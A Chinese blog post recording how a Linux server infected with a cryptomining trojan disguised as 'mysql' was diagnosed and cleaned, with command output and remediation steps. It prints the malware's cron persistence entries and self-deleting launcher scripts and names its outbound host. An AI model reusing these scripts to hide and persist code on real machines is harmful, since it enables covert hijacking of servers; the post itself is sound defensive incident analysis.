七的博客

bash病毒脚本排查记录

Linux

bash病毒脚本排查记录

1. 背景

有台 Linux 服务器最近开始启动任何程序都会提示失败,显示 Killed , 然后换了几个目录都是启动失败,开始逐步进行排查。

2. 初步排查

  • 首先先判断系统资源是否充足 , 执行 free -h 查看内存使用情况,可以明显看到内存还非常充足。
              total        used        free      shared  buff/cache   available
Mem:            15G        3.1G         10G         19M        2.3G         12G
Swap:            0B          0B          0B


  • 使用 top -c 查看进程的相关运行情况 。
top - 13:56:42 up  4:04,  3 users,  load average: 4.93, 4.55, 4.43
Tasks: 271 total,   1 running, 270 sleeping,   0 stopped,   0 zombie
%Cpu(s): 99.7 us,  0.3 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
KiB Mem : 16266572 total, 10530900 free,  3275800 used,  2459872 buff/cache
KiB Swap:        0 total,        0 free,        0 used. 12647632 avail Mem 

  PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND                                                                                                                                                          
26710 root      20   0 2445008   5900      4 S 397.7  0.0 359:06.14 mysql                                                                                                                                                            
    1 root      20   0  125552   4112   2592 S   0.3  0.0   0:11.21 /usr/lib/systemd/systemd --switched-root --system --deserialize 22

看到第一个 CPU 使用率高的进程名字是 mysql , 还误认为是 mysql 进程导致的 ,于是开始排查 MySQL 进程。

3. 排查 MySQL CPU 使用率高的问题

按照之前的经验,MySQL 导致的 CPU 使用率超过100% 大概率是执行了复杂的 SQL 计算,或者出现了死锁之类的。

先看下当前执行的 SQL,发现当前没有正在执行的 SQL 。这就开始有点奇怪了,突然想到,这个库是个新的数据库,里面就几十条数据,压根就还没有业务接入,直接排除这种连接数或者查询过多导致的问题。

这个时候重新看了下 MySQL 相关的进程:

[root@k8s-master /]# ps -ef| grep mysql
mysql     2114     1  0 09:52 ?        00:00:28 /usr/sbin/mysqld --daemonize --pid-file=/var/run/mysqld/mysqld.pid
root     10261 14421  0 14:07 pts/3    00:00:00 grep --color=auto mysql
root     26710     1 99 12:26 ?        06:41:59 mysql

第三个进行 mysql 进程越看越奇怪,mysql 的后台进程名称应该是使用 mysql 用户进行启动,并且执行的命令是 /usr/sbin/mysqld

这个使用 root 用户执行的进程,然后执行的路径也是怪怪的。

查看下程序的执行目录信息:

[root@k8s-master /]# ll /proc/26710
total 0
dr-xr-xr-x  2 root root 0 Apr 12 13:23 attr
-rw-r--r--  1 root root 0 Apr 12 13:37 autogroup
-r--------  1 root root 0 Apr 12 13:37 auxv
-r--r--r--  1 root root 0 Apr 12 13:37 cgroup
--w-------  1 root root 0 Apr 12 13:37 clear_refs
-r--r--r--  1 root root 0 Apr 12 12:26 cmdline
-rw-r--r--  1 root root 0 Apr 12 13:37 comm
-rw-r--r--  1 root root 0 Apr 12 13:37 coredump_filter
-r--r--r--  1 root root 0 Apr 12 13:37 cpuset
lrwxrwxrwx  1 root root 0 Apr 12 13:37 cwd -> /
-r--------  1 root root 0 Apr 12 13:37 environ
lrwxrwxrwx  1 root root 0 Apr 12 13:37 exe -> /opt/.new/.-bash/-bash (deleted)
dr-x------  2 root root 0 Apr 12 13:23 fd
dr-x------  2 root root 0 Apr 12 13:37 fdinfo
-rw-r--r--  1 root root 0 Apr 12 13:37 gid_map
-r--------  1 root root 0 Apr 12 13:37 io
-r--r--r--  1 root root 0 Apr 12 13:37 limits
-rw-r--r--  1 root root 0 Apr 12 13:37 loginuid
dr-x------  2 root root 0 Apr 12 13:37 map_files
-r--r--r--  1 root root 0 Apr 12 13:37 maps
-rw-------  1 root root 0 Apr 12 13:37 mem
-r--r--r--  1 root root 0 Apr 12 13:37 mountinfo
-r--r--r--  1 root root 0 Apr 12 13:37 mounts
-r--------  1 root root 0 Apr 12 13:37 mountstats
dr-xr-xr-x  6 root root 0 Apr 12 13:37 net
dr-x--x--x  2 root root 0 Apr 12 13:37 ns
-r--r--r--  1 root root 0 Apr 12 13:37 numa_maps
-rw-r--r--  1 root root 0 Apr 12 13:37 oom_adj
-r--r--r--  1 root root 0 Apr 12 13:37 oom_score
-rw-r--r--  1 root root 0 Apr 12 13:37 oom_score_adj
-r--r--r--  1 root root 0 Apr 12 13:37 pagemap
-r--------  1 root root 0 Apr 12 13:37 patch_state
-r--r--r--  1 root root 0 Apr 12 13:37 personality
-rw-r--r--  1 root root 0 Apr 12 13:37 projid_map
lrwxrwxrwx  1 root root 0 Apr 12 13:37 root -> /
-rw-r--r--  1 root root 0 Apr 12 13:37 sched
-r--r--r--  1 root root 0 Apr 12 13:37 schedstat
-r--r--r--  1 root root 0 Apr 12 13:37 sessionid
-rw-r--r--  1 root root 0 Apr 12 13:37 setgroups
-r--r--r--  1 root root 0 Apr 12 13:37 smaps
-r--r--r--  1 root root 0 Apr 12 13:37 stack
-r--r--r--  1 root root 0 Apr 12 12:27 stat
-r--r--r--  1 root root 0 Apr 12 13:08 statm
-r--r--r--  1 root root 0 Apr 12 12:26 status
-r--r--r--  1 root root 0 Apr 12 13:37 syscall
dr-xr-xr-x 12 root root 0 Apr 12 13:08 task
-r--r--r--  1 root root 0 Apr 12 13:37 timers
-rw-r--r--  1 root root 0 Apr 12 13:37 uid_map
-r--r--r--  1 root root 0 Apr 12 13:37 wchan


注意到 exe -> /opt/.new/.-bash/-bash (deleted) 这里,看到执行路径已经被删除。

正常的程序启动后是不可能把自己的可执行文件删除的,这里猜测应该是个木马。之前公司服务器因为 Redis 密码太弱,有几台服务器被用来挖矿的,当时是临时暴力删除处理的。

4. 排查未知的程序

这个木马程序能运行,说明肯定是通过什么途径下载下来的。内部人员是没啥问题的,不至于会主动去下载这个程序。

查看下当前操作系统的定时任务:

[root@k8s-master /]# crontab -l
* * * * * /opt/.new/-bash > /dev/null 2>&1;

可以看到上面的任务明显有问题,解释下上面的脚本意思:

  • /opt/.new/-bash 是一个执行文件的路径,-bash 就不是一个标准的命令名。
  • > /dev/null 是将命令的标准输出重定向到 /dev/null ,这个程序输出的标准信息都会被丢弃,不会输出到文件或者控制台中 ( 隐藏自己的行为 )。
  • 2>&1 这部分将标准错误(2)重定向到标准输出(1)。标准输出已经被重定向到了 /dev/null。造成的结果就是,所有输出,包括标准输出和错误输出都会被丢弃掉。

查看下这个文件的内容:

[root@k8s-master /]# cat /opt/.new/-bash
#!/bin/bash
cd -- /opt/.new   
mkdir -- .-bash   
cp -f -- x86_64 .-bash/-bash
./.-bash/-bash -c 
rm -rf -- .-bash

解释下这几行脚本的意思:

  • cd -- /opt/.new : 将当前工作目录改变到 /opt/.new。因为目录名以点开头, 所以这是一个隐藏目录。
  • mkdir -- .-bash : 创建一个隐藏目录,目录名为 .-bash。使用 – 确保紧随其后的参数不被解释为命令参数。
  • cp -f -- x86_64 .-bash/-bash : 将 x86_64 这个文件复制到刚创建的 .-bash 目录里面,并重命名为 -bash 。 -f 表示强制复制,如果目标文件已存在也会被覆盖。
  • ./.-bash/-bash -c : 执行 -bash 这个程序。
  • rm -rf -- .-bash : 删除 .-bash 程序。

看下上级目录 /opt/.new 里面的东西:

[root@k8s-master /]# cd /opt/.new
[root@k8s-master .new]# ll
total 2904
-rwxr-xr-x 1 root root     109 Apr 12 00:43 -bash
-rwxr-xr-x 1 root root 1087356 Dec 17 14:02 i686
-rwxr-xr-x 1 root root 1878380 Feb 15 05:24 x86_64


想直接看下这个 -bash 的内容:

[root@k8s-master .new]# cat -bash
cat: invalid option -- 'a'
Try 'cat --help' for more information.

好家伙,这个程序的名字还这么特殊,直接 cat -bash 还不行 。 Linux 命令行工具通常解释以 - 开头的参数为选项, 由于文件名以 - 开头,cat 把它误解为命令行选项。

为了避免这种情况,我们直接使用 -- 参数来明确指出 -bash 是一个文件名而不是选项。继续查看:

[root@k8s-master .new]# cat -- -bash
#!/bin/bash
cd -- /opt/.new
mkdir -- .-bash
cp -f -- x86_64 .-bash/-bash
./.-bash/-bash -c 
rm -rf -- .-bash

可以看出来还是这些内容。 既然都程序还在执行,那么应该有 TCP 或者 UDP 连接在建立。 查看下进程的网络连接信息:

[root@k8s-master opt]# netstat -apn | grep 26710
tcp        0      0 192.168.60.31:39130     198.251.80.91:80        ESTABLISHED 26710/mysql

果不其然,有个连接外网的地址。 查了下对应的地址, 这个 IP 地址 198.251.80.91 是来源于美国内华达拉斯维加斯,很明显就不是我们这的 IP 以及端口。 妥妥的已经是一台肉鸡服务器了。

查看进程打开的文件描述符:

[root@k8s-master opt]# lsof -p 26710
COMMAND   PID USER   FD      TYPE DEVICE SIZE/OFF      NODE NAME
-bash   26710 root  cwd       DIR    8,1     4096       128 /
-bash   26710 root  rtd       DIR    8,1     4096       128 /
-bash   26710 root  txt       REG    8,1  1878380 202337173 /opt/.new/.-bash/-bash (deleted)
-bash   26710 root  DEL       REG   0,14             420958 /anon_hugepage
-bash   26710 root  DEL       REG   0,14             420959 /anon_hugepage
-bash   26710 root  DEL       REG   0,14             419526 /anon_hugepage
-bash   26710 root  DEL       REG   0,14             419527 /anon_hugepage
-bash   26710 root  DEL       REG   0,14             421099 /anon_hugepage
-bash   26710 root  DEL       REG   0,14             420257 /anon_hugepage
-bash   26710 root  DEL       REG   0,14             421944 /anon_hugepage
-bash   26710 root    0r     FIFO    0,9      0t0    420922 pipe
-bash   26710 root    1w      CHR    1,3      0t0      1028 /dev/null
-bash   26710 root    2w      CHR    1,3      0t0      1028 /dev/null
-bash   26710 root    3u      REG    8,1        0 203424717 /tmp/.lock
-bash   26710 root    4u  a_inode   0,10        0      7399 [eventpoll]
-bash   26710 root    5r     FIFO    0,9      0t0    419210 pipe
-bash   26710 root    6w     FIFO    0,9      0t0    419210 pipe
-bash   26710 root    7r     FIFO    0,9      0t0    421913 pipe
-bash   26710 root    8w     FIFO    0,9      0t0    421913 pipe
-bash   26710 root    9u  a_inode   0,10        0      7399 [eventfd]
-bash   26710 root   10r      CHR    1,3      0t0      1028 /dev/null
-bash   26710 root   11u     IPv4 419251      0t0       TCP k8s-master:39130->weblara.com.br:http (ESTABLISHED)

突然想到,会不会有多个定时任务,然后看了下小时任务:

[root@k8s-master log]# cd /etc/cron.hourly/
[root@k8s-master cron.hourly]# ll
总用量 8
-rwxr-xr-x. 1 root root 392 8月   9 2019 0anacron
-rwxr-xr-x  1 root root 246 5月   5 2015 sync
[root@cdh-182 cron.hourly]# cat sync
#!/bin/bash
#
#      Start/Stop the pwnrig clock daemon
#
# chkconfig 2345 90 60
# description: sync clock (GNU System)
cp -f -r -- /bin/sysdrr /usr/bin/-bash 2>/dev/null
cd /usr/bin/ 2>/dev/null
./-bash -c >/dev/null
rm -rf -- -bash 2>/dev/null

果然是也有,看起来全是通过定时任务去触发的,而且文件路径还有时候会不一样。

5. 处理

居然发现了问题,就开始处理掉了,文件以及脚本什么的先备份下。

我先试了下将进程杀掉和然后清除文件,然后过了一会发现,程序跟定时任务还是会起来。

5.1 清理定时任务

开始怀疑应该是定时任务没清理干净,查找先查找所有相关的定时任务:

[root@k8s-master cron.hourly]# find /etc/ -type f -name sync
/etc/cron.daily/sync
/etc/rc.d/init.d/sync
/etc/cron.hourly/sync
/etc/cron.monthly/sync
/etc/cron.weekly/sync


写入了这么多个定时任务,难怪可以一直保活。 直接把上面的定时任务全部删除掉,确保不会再重新下载文件。

5.2 清空 tmp 目录

很多病毒木马喜欢往 /tmp 目录写文件,因为一般很少有人会去看这个目录。 这里直接选择清空。

5.3 清空公钥

/root/.ssh 这个目录下可以配置免密码访问服务器,只需要将对方服务器或者系统公钥配置下即可。 这里为了保险一点,直接清空掉。

5.4. 系统加固

修改下 ssh 登录密码,禁止使用弱密码。 我们之前服务器密码比较简单,而且密码还是一样的。只要拿到一台服务器的权限,就可以对内网的服务器暴力破解密码登录。

6. 后续

经过上面的一顿操作后,重启服务器后观察很多天都没有问题了,还是算比较好处理的。 去网上搜了下,不止我们有这个案例, -bash 这个还是个比较有名的挖矿病毒。 跟它一起的还有 sysdrr 这个程序,不过暂时还没有碰到这个。

也对我们提个醒,服务器安全至关重要,有时候安全问题可能不是本身这台服务器,而且内网其他服务器作为切入点被攻破的。